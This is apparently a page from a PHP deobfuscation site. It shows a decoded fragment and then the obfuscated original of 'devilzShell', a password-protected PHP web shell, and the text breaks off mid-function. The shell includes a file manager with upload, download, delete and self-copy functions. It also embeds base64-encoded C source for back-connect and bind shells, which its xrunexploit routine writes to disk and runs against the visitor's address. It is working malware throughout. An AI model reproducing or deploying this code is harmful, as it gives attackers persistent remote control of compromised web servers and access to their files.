function_exists("posix_getgrgid")) { $name = posix_getpwuid($fowner); $group = posix_getgrgid($fgroup); return trim($name["name"] . ":" . $group["name"]); } else { return "???"; } } return "???"; } goto tz9uN; fkGVx: $xBack = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l
dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk\xaOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47IA0KIGRhZW1vbigxLDApOw0KIHNpbi5zaW5fZmFt\xaaWx5ID0gQUZfSU5FVDsNCiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0pKTsNCiBz
aW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGFyZ3ZbMl0pOyANCiBiemVybyhhcmd2WzJd\xaLHN0cmxlbihhcmd2WzJdKSsxK3N0cmxlbihhcmd2WzFdKSk7IA0KIGZkID0gc29ja2V0KEFGX0lO
RVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyANCiBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1\xaY3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICBw
ZXJyb3IoIlstXSBjb25uZWN0KCkiKTsNCiAgIGV4aXQoMCk7DQogfQ0KIGR1cDIoZmQsIDApOw0K
IGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFy\xaICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9"; goto BtY92; iX2Pi: @set_time_limit(0); goto esWEq; FqYTK: $bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAE\xaMZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII="; goto fkGVx; uffjI: if (isset($_GET["img"])) { $file = xclean($_GET["img"]); if (is_file($file)) { @ob_clean(); $inf = getimagesize($file); $ext = explode(basename($file), "."); $ext = $ext[count($ext) - 1]; @header("Content-type: " . $inf["mime"]); @header("Cache-control: public"); @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030))); @header("Cache-control: max-age=" . 60 * 60 * 24 * 7); @readfile($file); die; } else { $file = ${$file}; $data = base64_decode($file); @header("Content-type: image/png"); @header("Cache-control: public"); echo $data; die; } } goto ixZ3c; wDRnb: $xCwd = xcleanpath(getcwd()); goto yEXml; bhKOZ: $shell_name = "devilzShell"; goto OKtKC; BtY92: $xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5\xacGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N
CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy
ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBy\xaZW1vdGU7DQogaWYoZm9yaygpID09IDApIHsgDQogcmVtb3RlLnNpbl9mYW1pbHkgPSBBRl9JTkVU
Ow0KIHJlbW90ZS5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KIHJlbW90ZS5zaW5f
YWRkci5zX2FkZHIgPSBodG9ubChJTkFERFJfQU5ZKTsgDQogc29ja2ZkID0gc29ja2V0KEFGX0lO\xaRVQsU09DS19TVFJFQU0sMCk7DQogaWYoIXNvY2tmZCkgcGVycm9yKCJzb2NrZXQgZXJyb3IiKTsN
CiBiaW5kKHNvY2tmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSZyZW1vdGUsIDB4MTApOw0KIGxpc3Rl
bihzb2NrZmQsIDUpOw0KIHdoaWxlKDEpDQogIHsNCiAgIG5ld2ZkPWFjY2VwdChzb2NrZmQsMCww
KTsNCiAgIGR1cDIobmV3ZmQsMCk7DQogICBkdXAyKG5ld2ZkLDEpOw0KICAgZHVwMihuZXdmZCwy
KTsgICANCiAgIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KICAgY2xvc2UobmV3
ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7
DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRb\xaaV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykN
CmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVy
biAwOw0KfQ=="; goto cxcLS; HGHI7: if (isset($_COOKIE["pass"])) { $check = trim($_COOKIE["pass"]); } else { $check = ''; } goto o6fA7; I8RPX: $shell_version = "v1"; goto YnICT; twz3u: ?>
Did this file decode correctly?
Original Code
<?php
goto bhKOZ; wLURt: if (isset($_GET["\143\x6d\x64"]) || isset($_POST["\160\x61\163\163\x77"])) { $html_onload = "\x6f\156\154\x6f\x61\x64\x3d\x22\x64\157\x63\165\x6d\145\x6e\164\x2e\147\x65\x74\x45\x6c\145\155\145\x6e\x74\x42\x79\x49\x64\50\47\x63\x6d\144\47\51\56\146\x6f\143\x75\163\50\x29\73\42"; } else { $html_onload = ''; } goto Qc6fD; ixZ3c: if (isset($_GET["\147\x65\x74"]) && $_GET["\x67\145\164"] != '') { $file = xclean($_GET["\147\x65\164"]); $filez = @file_get_contents($file); header("\103\x6f\x6e\164\x65\x6e\x74\x2d\x74\171\x70\x65\x3a\40\141\x70\160\x6c\151\x63\x61\164\151\157\x6e\57\x6f\x63\164\145\164\x2d\163\164\x72\x65\141\155"); header("\x43\157\156\x74\x65\156\164\x2d\x6c\x65\156\x67\x74\x68\x3a\x20" . strlen($filez)); header("\x43\x6f\156\x74\145\156\164\x2d\144\151\163\160\157\163\x69\164\151\157\x6e\72\40\x61\164\164\x61\x63\150\155\x65\x6e\164\x3b\40\x66\x69\x6c\x65\156\141\155\145\75\42" . basename($file) . "\x22\x3b"); echo $filez; die; } goto wDRnb; pb0Qp: error_reporting(0); goto iX2Pi; i8NO5: function xhighlight($file) { $color_bg = ini_get("\150\151\x67\x68\154\151\147\x68\164\56\x62\147"); $color_html = ini_get("\150\x69\147\150\154\x69\147\150\x74\x2e\150\164\155\x6c"); $color_keyword = ini_get("\x68\151\x67\150\x6c\x69\147\x68\164\56\153\x65\171\x77\157\x72\144"); $color_default = ini_get("\x68\x69\147\x68\154\x69\147\150\x74\x2e\x64\x65\146\141\165\154\x74"); $color_comment = ini_get("\x68\x69\147\150\x6c\151\x67\x68\164\56\143\157\155\155\x65\156\x74"); $color_string = ini_get("\x68\151\x67\150\154\151\x67\x68\164\x2e\163\x74\162\151\156\x67"); $con = @highlight_file($file, true); $con = str_ireplace($color_keyword, "\43\106\x46\60\x30\70\x32", $con); $con = str_ireplace($color_default, "\43\x46\x30\x30\x30\x30\60", $con); $con = str_ireplace($color_string, "\x23\x38\x38\x38\x38\70\70", $con); $con = str_ireplace($color_html, "\x23\x45\105\105\x45\x45\105", $con); return $con; } goto Ynili; THPXC: if (isset($_GET["\144\x69\162"]) && $_GET["\x64\151\162"] != '') { $newdir = xcleanpath(xclean(trim($_GET["\x64\151\x72"]))); if (isset($_GET["\x6f\x6c\x64\x66\x69\x6c\145\156\141\155\145"]) && $_GET["\x6f\x6c\x64\x66\151\x6c\145\156\141\155\x65"] != '') { $newdir = xcleanpath(xclean(trim($_GET["\160\x72\157\160\x65\162\164\151\145\x73"]))); } if (is_dir($newdir)) { if (chdir($newdir)) { $xCwd = $newdir; } } else { $newdir = dirname($newdir); if (is_dir($newdir)) { if (chdir($newdir)) { $xCwd = $newdir; } } } if (isset($_POST["\x62\164\x6e\x4e\145\x77\125\x70\154\x6f\x61\144\125\162\x6c"])) { $filename = xclean(trim($_POST["\146\x69\x6c\145\156\x61\x6d\145"])); $fileurl = xclean(trim($_POST["\146\151\x6c\x65\165\x72\154"])); if ($filename == '') { $filename = basename($fileurl); } $filepath = $newdir . $filename; if ($fileurl != '') { $con = xfileopen($fileurl); xfilesave($filepath, $con); } } elseif (isset($_POST["\x62\164\156\x4e\x65\167\x55\160\154\x6f\x61\144\x4c\157\x63\141\x6c"])) { if (is_uploaded_file($_FILES["\146\x69\x6c\x65\x6c\x6f\143\141\x6c"]["\x74\155\x70\137\x6e\x61\x6d\x65"])) { $filename = xclean(trim($_POST["\146\151\x6c\x65\156\141\x6d\145"])); if ($filename == '') { $filename = $_FILES["\146\x69\x6c\x65\x6c\x6f\143\x61\x6c"]["\x6e\141\155\145"]; } $tmp_name = $_FILES["\146\x69\154\145\x6c\x6f\x63\x61\154"]["\x74\155\x70\x5f\156\x61\x6d\x65"]; $filepath = $newdir . $filename; $stat = @move_uploaded_file($tmp_name, $filepath); } } if (isset($_GET["\146\157\x6c\x64\x65\162\x6e\x61\155\x65"]) && $_GET["\146\157\x6c\144\145\x72\x6e\x61\155\145"] != '') { $fname = xcleanpath(xclean(trim($_GET["\x66\157\x6c\144\x65\x72\156\141\x6d\145"]))); if (!is_dir($newdir . $fname)) { mkdir($newdir . $fname); } } elseif (isset($_GET["\144\145\154"]) && $_GET["\x64\x65\154"] != '') { $fdel = xclean(trim($_GET["\x64\x65\x6c"])); if (is_file($fdel) || is_link($fdel)) { unlink($fdel); } elseif (is_dir($fdel)) { xrmdir($fdel); $newdir = substr($newdir, 0, strrpos($newdir, DIRECTORY_SEPARATOR)); $newdir = substr($newdir, 0, strrpos($newdir, DIRECTORY_SEPARATOR)); } } elseif (isset($_GET["\143\x68\x69\154\x64\x6e\141\x6d\145"]) && $_GET["\x63\150\x69\x6c\x64\156\141\x6d\145"] != '') { $childname = $newdir . xclean(trim($_GET["\x63\x68\x69\x6c\x64\x6e\x61\x6d\145"])); $con = xfileopen($_SERVER["\123\x43\122\x49\120\x54\x5f\106\x49\114\105\x4e\101\x4d\105"]); xfilesave($childname, $con); } } goto i3GXU; B0JGo: function xfileperms($file) { $isreadable = "\x2d"; $iswriteable = "\x2d"; if (is_file($file) || is_dir($file) || is_link($file)) { if (is_readable($file)) { $isreadable = "\162"; } if (is_writeable($file)) { $iswriteable = "\167"; } } return $isreadable . "\40\57\40" . $iswriteable; } goto U0a5N; bdGRw: $shell_style = "\xa\x3c\163\164\171\154\145\x20\164\x79\x70\145\x3d\x22\x74\x65\x78\x74\57\143\x73\x73\42\x3e\12\52\x7b\xa\11\x66\157\x6e\164\55\x66\141\x6d\x69\x6c\x79\72\x54\141\x68\x6f\x6d\x61\54\126\145\x72\x64\x61\156\141\54\101\162\151\x61\154\73\xa\11\x66\157\156\164\55\163\x69\172\145\72\61\x32\160\x78\x3b\12\11\x6c\151\x6e\x65\x2d\150\145\x69\147\x68\x74\x3a\x32\60\160\170\x3b\12\175\12\xa\146\157\162\155\x7b\xa\11\155\x61\162\147\151\x6e\x3a\x30\x20\x61\x75\x74\157\x3b\12\x9\x74\145\x78\x74\x2d\x61\154\x69\x67\156\72\x63\145\156\164\x65\x72\73\xa\175\xa\12\142\157\x64\171\x7b\xa\11\142\141\x63\x6b\147\x72\157\165\x6e\144\72\165\162\x6c\x28\47" . $_SERVER["\x53\x43\122\x49\x50\124\137\116\x41\x4d\x45"] . "\x3f\x69\155\x67\75\142\x67\47\x29\40\x23\x33\63\63\63\x33\63\73\xa\11\x63\x6f\154\157\162\x3a\43\146\146\146\146\x66\x66\x3b\12\11\x6d\x61\x72\x67\x69\x6e\72\60\73\12\x9\x70\141\144\144\151\x6e\x67\x3a\x30\x3b\xa\175\xa\12\151\x6e\x70\x75\164\54\164\x65\x78\164\141\162\x65\141\x7b\xa\x9\142\141\143\153\x67\162\157\165\x6e\x64\x3a\x75\x72\x6c\x28\47" . $_SERVER["\123\x43\x52\111\120\124\x5f\116\x41\115\105"] . "\77\x69\155\147\x3d\142\x67\x27\51\40\43\61\x31\61\x31\61\x31\x3b\12\x9\x68\x65\x69\x67\x68\x74\x3a\62\64\160\170\73\12\x9\x63\x6f\154\157\162\72\x23\x66\x66\146\146\x66\146\x3b\xa\11\160\x61\144\144\151\156\x67\x3a\x31\x2e\x35\160\x78\x20\64\x70\170\40\x30\x20\64\160\170\x3b\xa\11\x6d\141\162\147\151\x6e\x3a\62\160\170\40\60\x3b\12\x9\142\157\x72\144\145\162\72\x31\x70\x78\x20\x73\x6f\154\x69\144\x20" . $shell_color . "\73\xa\11\142\x6f\162\144\x65\x72\x2d\x62\157\x74\x74\157\155\x3a\64\160\x78\40\163\157\154\x69\x64\40" . $shell_color . "\73\xa\11\166\145\x72\164\151\x63\x61\x6c\55\x61\x6c\151\x67\156\72\x6d\x69\x64\x64\x6c\145\x3b\xa\175\12\12\x69\156\x70\165\164\x3a\150\157\x76\x65\x72\x2c\x74\145\x78\x74\x61\162\x65\141\x3a\x68\x6f\166\x65\x72\173\12\11\x62\x61\143\x6b\147\x72\x6f\165\156\144\72\43\x30\x61\x30\x61\60\141\x3b\xa\175\xa\xa\141\x7b\xa\11\x63\x6f\154\157\x72\72\43\146\146\146\146\x66\146\73\12\11\164\145\170\164\55\144\145\143\157\162\141\x74\x69\157\156\x3a\156\157\x6e\145\x3b\12\175\12\xa\141\x3a\150\157\x76\145\x72\173\xa\11\142\x6f\x72\x64\x65\162\55\x62\x6f\164\x74\x6f\x6d\x3a\x31\x70\x78\40\163\157\154\151\144\40\43\x66\146\x66\146\146\146\x3b\xa\175\xa\12\150\61\x7b\12\x9\x66\157\x6e\164\x2d\x73\151\172\145\72\x31\x37\160\x78\x3b\12\x9\150\x65\151\147\150\164\x3a\62\x30\x70\170\73\12\11\160\141\144\x64\151\x6e\x67\x3a\62\160\x78\40\x38\160\x78\73\xa\x9\142\141\x63\x6b\x67\162\x6f\x75\156\144\x3a" . $shell_color . "\73\12\x9\x62\x6f\x72\x64\145\162\x3a\60\x3b\xa\x9\142\157\162\x64\x65\x72\x2d\x6c\x65\146\x74\x3a\x34\160\x78\x20\163\x6f\154\x69\144\40" . $shell_color . "\x3b\12\11\142\x6f\162\x64\x65\x72\x2d\162\151\x67\x68\164\x3a\64\x70\170\40\x73\x6f\154\151\144\x20" . $shell_color . "\73\xa\x9\x62\157\x72\x64\x65\x72\x2d\142\x6f\164\164\157\155\72\61\160\170\x20\163\157\x6c\x69\x64\x20\43\62\x32\62\62\62\x32\x3b\xa\11\155\141\x72\x67\151\156\72\x30\x20\141\165\x74\x6f\73\xa\x9\167\151\144\164\x68\x3a\x39\x30\x25\73\12\x7d\12\xa\x68\61\40\x69\155\x67\x7b\12\11\166\x65\162\x74\151\143\141\154\x2d\141\154\151\x67\156\x3a\142\157\164\164\157\x6d\73\12\x7d\xa\xa\x2e\142\157\170\x7b\12\11\x6d\141\x72\x67\x69\x6e\72\x30\40\141\x75\164\x6f\73\12\11\142\141\x63\153\x67\x72\x6f\165\156\144\x3a\43\x30\60\x30\x30\60\60\73\12\x9\142\157\162\144\145\x72\x3a\64\x70\x78\40\x73\x6f\x6c\x69\x64\40" . $shell_color . "\73\xa\11\x70\141\144\x64\x69\156\147\x3a\x34\x70\x78\40\70\160\170\73\12\x9\x77\x69\x64\164\150\72\71\x30\45\x3b\12\x9\x74\x65\170\164\55\x61\154\151\147\x6e\x3a\x6a\x75\163\x74\x69\146\171\73\xa\x7d\xa\12\56\x67\x61\165\154\x7b\xa\x9\143\x6f\154\157\162\72" . $shell_color . "\x3b\12\175\12\12\xa\xa\x2e\x72\x65\x73\165\154\x74\x2c\x20\x2e\x62\157\x78\143\x6f\x64\145\173\xa\11\x6d\x61\162\x67\151\156\x3a\x30\40\x61\165\x74\157\x3b\xa\11\x62\157\x72\x64\145\x72\x3a\61\160\170\x20\163\157\x6c\151\x64\40" . $shell_color . "\x3b\xa\x9\146\x6f\x6e\164\55\x66\x61\x6d\x69\x6c\171\72\x4c\165\143\x69\144\x61\x20\x43\x6f\x6e\163\x6f\154\x65\54\x54\x61\150\157\155\141\x2c\x56\145\162\x64\141\156\x61\x3b\12\11\x70\x61\x64\144\151\x6e\147\x3a\70\160\170\73\xa\11\164\145\x78\164\55\x61\154\151\x67\156\72\x6a\165\163\x74\x69\146\x79\73\12\x9\x6f\166\x65\x72\x66\154\157\x77\72\x68\151\x64\144\145\156\73\12\x9\143\x6f\154\x6f\x72\x3a\x23\146\146\146\x66\x66\146\x3b\xa\175\xa\xa\12\x23\x65\170\x70\154\x6f\x72\145\162\54\40\x74\141\142\x6c\x65\x7b\12\11\167\151\x64\x74\150\72\61\60\x30\45\x3b\xa\x7d\xa\12\x74\x61\142\154\145\x20\164\150\x7b\xa\11\x62\157\162\144\145\x72\x2d\x62\157\x74\164\157\x6d\x3a\61\x70\x78\40\163\x6f\154\151\144\40" . $shell_color . "\x3b\xa\11\142\x61\143\153\147\x72\157\165\156\144\72\43\x31\x31\61\x31\61\61\73\12\x9\160\141\144\144\151\x6e\147\x3a\x34\x70\170\x3b\12\175\12\xa\x74\x61\142\154\x65\40\x74\144\173\12\11\160\x61\x64\x64\151\x6e\x67\x3a\64\160\170\x3b\12\11\x62\x6f\162\144\145\x72\55\x62\157\164\x74\x6f\155\x3a\61\160\170\40\163\157\154\151\x64\x20\43\x31\61\61\61\61\x31\73\xa\11\166\145\x72\x74\151\143\x61\154\55\x61\x6c\151\147\x6e\72\164\x6f\160\x3b\xa\175\12\xa\56\164\x62\x6c\x45\x78\x70\x6c\x6f\162\x65\162\40\x74\x72\72\x68\157\166\x65\x72\54\x20\x2e\x68\x65\x78\166\x69\x65\x77\40\164\x64\72\150\157\x76\145\x72\173\12\x9\142\x61\143\153\x67\162\x6f\x75\156\x64\x3a" . $shell_color . "\x3b\xa\x7d\xa\xa\12\x2e\x68\151\x64\x64\x65\156\x7b\xa\x9\x64\x69\163\160\154\141\x79\72\x6e\x6f\156\x65\73\12\x7d\12\x2e\164\x62\x6c\142\157\170\40\164\x64\40\x20\x7b\12\11\x6d\x61\x72\x67\x69\156\72\60\73\xa\x9\160\x61\144\x64\151\x6e\x67\x3a\x30\73\12\11\x62\157\162\x64\145\162\55\x62\x6f\164\164\157\x6d\x3a\x31\x70\x78\40\163\157\154\151\144\x20\x23\62\62\x32\62\62\x32\x3b\xa\x7d\xa\12\56\x74\142\154\x62\157\170\40\164\162\x3a\x68\x6f\166\145\x72\x7b\12\x9\x62\141\x63\153\x67\162\157\x75\156\144\72\x6e\157\156\x65\x3b\12\175\xa\xa\43\155\141\x69\156\x77\162\x61\160\x70\145\x72\173\xa\x9\x77\x69\144\x74\x68\x3a\x31\60\x30\45\x3b\xa\x9\155\141\x72\x67\151\156\72\62\x30\x70\x78\40\x61\165\x74\157\x3b\12\x9\164\x65\170\x74\x2d\141\154\x69\147\156\72\143\x65\156\164\145\x72\x3b\xa\175\12\43\167\162\141\160\160\x65\x72\173\12\x9\167\x69\144\164\x68\x3a\71\x30\x25\73\12\x9\155\x61\x72\147\x69\x6e\x3a\x61\x75\164\x6f\73\xa\12\x7d\xa\xa\56\x63\x6d\144\x62\157\170\173\12\11\142\157\162\144\145\x72\x2d\x74\x6f\x70\72\61\160\170\40\x73\x6f\x6c\x69\144\40" . $shell_color . "\x3b\12\x9\x62\157\x72\x64\x65\162\x2d\142\x6f\164\x74\157\155\72\x31\x70\x78\x20\163\157\154\x69\x64\x20" . $shell_color . "\73\12\11\x6d\141\x72\147\151\156\x3a\64\160\170\x20\60\x3b\12\x9\167\151\144\x74\x68\72\61\60\60\x25\73\12\x7d\xa\xa\x2e\146\160\141\x74\150\x7b\12\x9\142\x6f\x72\144\145\x72\x2d\164\157\160\x3a\x31\160\170\x20\163\157\x6c\151\144\40" . $shell_color . "\x3b\xa\x9\x62\x6f\x72\x64\145\162\55\x62\157\164\164\157\155\72\x31\160\x78\x20\163\157\154\151\144\40" . $shell_color . "\73\xa\x9\x6d\x61\162\x67\x69\156\72\64\160\170\x20\x30\73\xa\11\x70\x61\144\x64\x69\156\147\72\x34\160\x78\x20\60\x3b\12\175\xa\xa\x2e\x66\x70\162\x6f\160\x7b\xa\11\x62\157\x72\144\x65\x72\x2d\164\x6f\160\x3a\61\x70\x78\40\x73\157\x6c\151\144\40" . $shell_color . "\73\12\x9\142\157\162\144\145\162\x2d\142\157\164\x74\157\155\x3a\x31\160\x78\x20\163\x6f\154\x69\144\40" . $shell_color . "\73\xa\11\155\x61\x72\147\151\x6e\x3a\x34\x70\170\40\60\x3b\12\11\160\141\x64\x64\151\x6e\147\72\x34\160\170\x20\x30\73\xa\x7d\12\xa\xa\56\x62\157\x74\164\157\x6d\x77\x72\x61\x70\x70\145\162\x7b\12\x9\x74\145\x78\x74\55\x61\x6c\x69\147\x6e\72\x63\x65\156\164\145\x72\x3b\xa\x7d\xa\xa\56\142\164\x6e\x7b\12\x9\150\145\x69\x67\x68\x74\x3a\x32\64\x70\170\73\12\x9\x62\x61\143\153\x67\162\157\165\156\144\72\165\x72\154\50\x27" . $_SERVER["\123\x43\x52\x49\x50\x54\137\x4e\101\115\x45"] . "\x3f\x69\x6d\147\75\142\147\x27\x29\x20\43\61\x31\61\x31\x31\61\x3b\12\11\146\157\x6e\164\x2d\x73\151\x7a\145\x3a\x31\x30\160\x78\73\xa\11\x74\x65\x78\x74\x2d\141\x6c\151\x67\x6e\72\162\151\x67\150\x74\x3b\xa\x7d\12\12\56\150\145\170\x76\151\x65\x77\40\54\40\56\x68\x65\x78\166\x69\x65\x77\x20\x74\x64\x7b\xa\x9\146\157\x6e\164\x2d\x66\x61\155\x69\154\x79\x3a\x20\114\x75\x63\x69\x64\141\x20\x43\157\156\163\157\154\145\54\124\141\x68\157\x6d\141\x3b\12\x7d\xa\x3c\x2f\163\164\x79\x6c\x65\76\xa"; goto mlpU0; JQYjm: function xfileopen($file) { $content = ''; if (is_file($file) || is_link($file)) { if ($fp = fopen($file, "\162\x62")) { while (!feof($fp)) { $content .= fread($fp, 1024); } fclose($fp); } } return $content; } goto HaSJA; VzaOw: function xparsefilesize($size) { if ($size <= 1024) { return $size; } else { if ($size <= 1024 * 1024) { $size = sprintf("\x25\x2e\x30\62\146", @round($size / 1024, 2)); return $size . "\x20\153\x62"; } else { $size = sprintf("\x25\x2e\x30\x32\x66", @round($size / 1024 / 1024, 2)); return $size . "\x20\x6d\142"; } } } goto ZcyIl; ZcyIl: function xfilesize($file) { if (is_file($file) || is_link($file)) { if ($size = filesize($file)) { return $size; } } return "\x30"; } goto B0JGo; o6fA7: if ($check == $shell_password) { $auth = true; } else { $auth = false; } goto uffjI; yEXml: if (isset($_GET["\x62\164\156\103\x6f\x6e\156\x65\x63\164"]) && is_numeric($_GET["\142\x70\x6f\x72\x74\x43"])) { $port = $_GET["\x62\x70\x6f\x72\x74\103"]; $dir = xcleanpath(xclean(trim($_GET["\x64\x69\x72"]))); $system = trim(php_uname()); if (strtolower(substr($system, 0, 3)) == "\x77\x69\x6e") { $base64 = $wBind; } else { $base64 = $xBack; } if (xrunexploit($dir, $base64, $port, "\143\x6f\156\156\145\x63\x74")) { } } elseif (isset($_GET["\142\164\156\x4c\151\x73\164\145\x6e"]) && is_numeric($_GET["\154\x70\x6f\162\164\x43"])) { $port = $_GET["\x6c\160\157\162\164\103"]; $dir = xcleanpath(xclean(trim($_GET["\144\151\162"]))); $system = trim(php_uname()); if (strtolower(substr($system, 0, 3)) == "\167\151\156") { $base64 = $wBind; } else { $base64 = $xBind; } if (xrunexploit($dir, $base64, $port, "\154\151\163\x74\x65\156")) { } } goto THPXC; uWo80: $xSoftware = trim(getenv("\123\x45\x52\126\x45\x52\x5f\123\117\x46\124\127\101\x52\x45")); goto KlIEK; sRNXR: if (isset($_POST["\x70\x61\x73\x73\x77"])) { $check = trim($_POST["\x70\141\x73\163\x77"]); if ($check == $shell_password) { setcookie("\x70\x61\x73\x73", $check, time() + 3600 * 24 * 7); $m = $_SERVER["\x53\103\122\x49\x50\x54\x5f\x4e\101\x4d\x45"]; header("\x4c\157\143\141\164\151\x6f\x6e\x3a\40" . $m); die; } else { setcookie("\160\141\x73\x73", $check, time() - 3600 * 24 * 7); } } goto HGHI7; rzxvz: echo preg_replace("\x2f\x5c\163\53\x2f", "\40", $html_final); goto twz3u; o3Hsf: $icon = "\151\126\102\117\122\x77\60\x4b\x47\x67\157\x41\x41\x41\101\116\x53\x55\x68\x45\x55\147\x41\x41\101\102\x41\x41\101\x41\x41\121\x43\101\x59\x41\101\x41\x41\x66\x38\x2f\x39\x68\x41\101\x41\x42\57\153\x6c\x45\121\x56\122\64\x32\157\62\122\123\x32\x67\125\121\122\x43\x47\x71\x37\162\110\102\60\162\167\12\64\x6d\x69\x77\x46\127\126\x6d\x50\x53\155\111\110\x70\141\121\123\167\x51\x44\64\x69\x76\107\113\x48\163\111\x6d\111\x4f\171\102\150\x4a\x45\x54\125\x44\152\122\141\115\x49\x45\152\x54\x6b\64\x67\x4e\106\x49\165\x74\x42\x77\123\143\x59\70\x65\102\x68\x39\141\x42\x67\171\x43\107\x43\151\x4b\x75\64\xa\x45\64\153\172\x42\x6b\x30\165\x69\x6d\151\111\x32\61\x58\127\167\x67\142\115\x6f\x72\x4f\x70\160\x75\155\x75\x4b\165\161\x72\x36\x72\70\x52\132\x6d\156\152\x78\x6c\70\x69\122\60\x48\62\104\x7a\146\113\x54\x30\x33\110\x73\x56\114\x68\x56\53\117\x76\x65\x34\x72\x63\x38\170\x6b\64\165\131\x74\x78\xa\144\x43\x48\x67\107\x51\x48\x63\x2f\x53\x64\101\x75\x71\x77\x5a\102\71\x6a\x43\x41\105\x37\x52\156\167\114\107\122\70\150\x48\142\x69\x4b\65\x2f\141\121\172\103\143\103\x30\106\120\x2f\x2b\165\x32\x59\107\x34\113\120\x78\x32\x2b\160\61\x34\x53\113\126\124\x62\106\x49\151\120\144\x49\67\57\145\151\12\157\114\x39\70\x77\x68\x6d\x41\x74\x38\x62\166\x33\x4f\x37\x59\70\x39\x73\x49\x76\x32\71\153\172\117\160\123\166\x45\116\x52\x34\x31\154\123\104\x31\x4a\150\x30\x42\121\x4c\x65\x47\146\70\x6a\x71\63\141\x39\x6e\141\171\x65\x74\130\62\x4b\x56\x68\x66\145\x74\141\x38\x47\155\x30\156\165\x77\x67\110\12\x30\x2b\106\111\x54\x53\x78\147\x7a\x50\147\x74\x6d\x33\x51\x68\x73\65\x71\122\53\x6b\147\x66\161\167\x49\131\107\147\x56\x75\124\155\153\x36\x30\105\x50\x71\x2f\160\x34\167\62\102\x30\x4c\x6b\x47\65\x2b\x6c\67\111\x35\x55\x64\63\x42\125\163\157\x42\x42\x6c\143\60\165\105\x56\117\141\x6b\x57\x55\xa\x76\x78\x4d\x4c\x4b\116\161\x41\x38\126\64\143\x30\x72\132\x57\x79\x5a\x30\x6c\x7a\x62\x49\x32\x4d\71\162\124\160\116\x66\x4b\104\x2b\x52\151\x41\126\x2b\x4d\130\71\145\x69\103\163\x39\x2b\x79\126\62\x65\x63\114\x6b\141\143\x50\147\x61\125\166\x63\x4e\x78\x63\165\x75\127\x48\x57\71\x50\x67\162\x32\12\170\121\112\x65\107\x75\x39\x55\x73\67\131\156\152\x70\x4d\141\106\x73\105\x32\x46\x47\x4f\150\x38\144\116\61\x32\154\x34\71\x53\x6a\152\x55\x47\x6f\x34\153\131\x77\x45\x35\x34\x78\63\145\x71\x57\63\x66\130\154\112\x6a\x72\141\x77\x53\115\166\114\120\x4e\70\142\x72\x62\x74\x42\60\70\x68\171\x70\xa\x67\x61\131\167\x61\111\x67\x46\124\112\x6a\x45\x30\154\65\154\x33\167\146\101\x56\122\144\111\x4e\x34\161\x51\124\70\x54\57\144\x68\164\65\x62\x74\x62\x71\71\x70\x56\x52\x2f\x6c\x4a\106\x45\x55\x57\110\x57\x68\106\x39\x66\156\127\125\x7a\x78\142\x39\170\70\165\71\x68\x77\143\x56\x37\x5a\152\117\12\x44\x31\x72\110\x58\122\x78\x39\x6d\120\147\166\157\116\170\x6b\161\x6a\155\124\167\113\x6e\130\171\115\154\126\147\101\164\x63\170\165\x63\103\171\115\167\141\x55\x4d\x6e\x2b\x41\115\x76\x4c\x7a\x42\110\x4e\x69\x76\161\x33\101\101\101\101\101\x45\154\106\x54\x6b\x53\165\x51\x6d\x43\103"; goto FqYTK; esWEq: ini_set("\x61\154\154\x6f\x77\137\x75\162\x6c\x5f\146\x6f\160\145\156", 1); goto u1awg; Yh0NS: function xrunexploit($fpath, $base64, $port, $type) { $con = base64_decode($base64); $system = trim(php_uname()); $final = ''; if (preg_match("\57\167\151\156\57\x69", $system)) { $fname = "\142\144\56\x65\170\x65"; $ip = ''; $ok = false; $fpath = $fpath . $fname; if (is_file($fpath)) { unlink($fpath); } if (!xfilesave($fpath, $con)) { $tmp = xcleanpath(xtempfolder()); $fpath = $tmp . $fname; if (xfilesave($fpath, $con)) { $ok = true; } } else { $ok = true; } if ($ok) { $fpath = trim($fpath); if ($type == "\x63\x6f\x6e\x6e\145\x63\164") { $ip = $_SERVER["\x52\x45\115\x4f\x54\105\137\x41\104\x44\122"]; } $final .= $fpath . "\x20" . $port . "\x20" . $ip; ekse(trim($final)); return true; } } else { if ($type == "\x63\x6f\x6e\156\145\x63\x74") { $fname = "\x62\141\143\x6b"; } else { 